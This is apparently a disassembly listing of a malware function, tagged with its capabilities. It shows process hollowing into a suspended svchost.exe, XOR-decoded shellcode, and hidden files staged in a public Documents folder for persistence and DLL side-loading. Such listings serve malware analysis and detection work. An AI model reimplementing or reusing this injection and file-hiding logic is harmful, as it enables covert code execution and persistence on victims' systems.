Function at 0x10002740
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Resume thread
Set file attributes
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10026351
mov eax, dword fs:[0]
push eax
mov eax, 0x26b4
call fcn.1000b460
mov eax, dword [0x10034040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub dword [ebp + 0xc], 1
jne 0x10002b32
mov ecx, 0x25f
lea edi, [ebp - 0x9e4]
mov esi, 0x1002ef20
lea eax, [ebp - 0x65]
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x9e4]
push eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.10009b10
mov ecx, 0x25f
lea esi, [ebp - 0x9e4]
lea edi, [ebp - 0x1364]
add esp, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1364]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
nop
xor byte [eax], 9
lea ecx, [ebp - 0x9e5]
inc eax
cmp eax, ecx
jne 0x100027c0
lea eax, [ebp - 0x1374]
mov dword [ebp - 0x64], 0x44
push eax
lea eax, [ebp - 0x64]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0x8000004
push 0
push 0
push 0
push str.svchost.exe
push 0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
movups xmmword [ebp - 0x1374], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10002b7a
mov ecx, 0x25f
lea esi, [ebp - 0x1364]
lea edi, [ebp - 0x1d40]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x13c1]
push eax
lea eax, [ebp - 0x1d40]
movsw word es:[edi], word [esi]
push eax
movsb byte es:[edi], byte [esi]
call fcn.10009b10
mov ecx, 0x25f
lea esi, [ebp - 0x1d40]
lea edi, [ebp - 0x26c0]
rep movsd dword es:[edi], dword [esi]
push 0x2c8
lea eax, [ebp - 0x330]
push 0
movsw word es:[edi], word [esi]
push eax
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x1370]
mov edi, dword [ebp - 0x1374]
mov dword [ebp - 0x1378], esi
call fcn.1000c0a0
add esp, 0x14
mov dword [ebp - 0x334], 0x10007
lea eax, [ebp - 0x334]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10002b63
push 0x40
push 0x3000
push 0x97f
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10002b63
lea eax, [ebp - 0x20]
push eax
push 0x97f
lea eax, [ebp - 0x26c0]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10002b54
lea eax, [ebp - 0x334]
mov dword [ebp - 0x27c], esi
push eax
push dword [ebp - 0x1378]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10002b54
push dword [ebp - 0x1370]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1370]
mov edi, dword [ebp - 0x1374]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
call fcn.10002b90
test eax, eax
jne 0x10002953
mov edx, str.Failed_to_create_registry_entry_for_startup._n
call fcn.100047e0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
push str.C:UsersPublicDocumentsWINWORD2013.EXE
lea ecx, [ebp - 0x13c0]
movq qword [ebp - 0x1c], xmm0
call fcn.10002e80
push str.C:UsersPublicDocumentswwlib.dll
lea ecx, [ebp - 0x13a8]
mov dword [ebp - 4], 0
call fcn.10002e80
push str.C:UsersPublicDocumentsxig.ppt
lea ecx, [ebp - 0x1390]
mov byte [ebp - 4], 1
call fcn.10002e80
lea edi, [ebp - 0x13c0]
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x1378]
mov dword [ebp - 0x1c], 0
sub ecx, edi
mov dword [ebp - 0x18], 0
mov eax, 0x2aaaaaab
mov dword [ebp - 0x14], 0
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10002a58
cmp eax, 0xaaaaaaa
ja 0x10002b7e
lea esi, [eax + eax*2]
shl esi, 3
cmp esi, 0x1000
jb 0x10002a1a
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x10002b83
push eax
call fcn.1000a44c
add esp, 4
test eax, eax
je 0x10002b88
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
jmp 0x10002a2d
test esi, esi
je 0x10002a2b
push esi
call fcn.1000a44c
add esp, 4
mov ecx, eax
jmp 0x10002a2d
xor ecx, ecx
lea eax, [ecx + esi]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x20], eax
push eax
push ecx
lea edx, [ebp - 0x1378]
mov byte [ebp - 4], 3
mov ecx, edi
call fcn.10006990
add esp, 8
mov dword [ebp - 0x18], eax
push 0x10002e20
push 3
push 0x18
lea eax, [ebp - 0x13c0]
mov byte [ebp - 4], 5
push eax
call fcn.1000a47c
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x1378], eax
cmp esi, eax
je 0x10002b2a
cmp dword [esi + 0x14], 7
mov eax, esi
jbe 0x10002a8f
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10002ae0
mov ecx, eax
and ecx, 6
cmp cl, 6
je 0x10002abe
or eax, 6
mov ecx, esi
cmp dword [esi + 0x14], 7
jbe 0x10002ab2
mov ecx, dword [esi]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x10002ae0
mov edx, str.File_
mov ecx, 0x10035180
call fcn.10004aa0
cmp dword [esi + 0x14], 7
mov ecx, eax
mov edx, esi
jbe 0x10002ad9
mov edx, dword [esi]
mov edi, str._is_now_hidden_and_set_as_a_system_file.
jmp 0x10002b00
mov edx, str.Error_setting_file_
mov ecx, 0x10035180
call fcn.10004aa0
cmp dword [esi + 0x14], 7
mov ecx, eax
mov edx, esi
jbe 0x10002afb
mov edx, dword [esi]
mov edi, str._as_hidden_and_system.
mov eax, dword [esi + 0x10]
push eax
call fcn.10006730
mov edx, edi
mov ecx, eax
call fcn.10004aa0
push eax
call fcn.10004d50
add esi, 0x18
add esp, 8
cmp esi, dword [ebp - 0x1378]
jne 0x10002a85
lea ecx, [ebp - 0x1c]
call fcn.10003b50
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000a439
mov esp, ebp
pop ebp
ret 0xc
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [ebp - 0x1370]
mov edi, dword [ebp - 0x1374]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
xor eax, eax
jmp 0x10002b37
call fcn.100066b0
call fcn.100012e0
call fcn.10011013
int3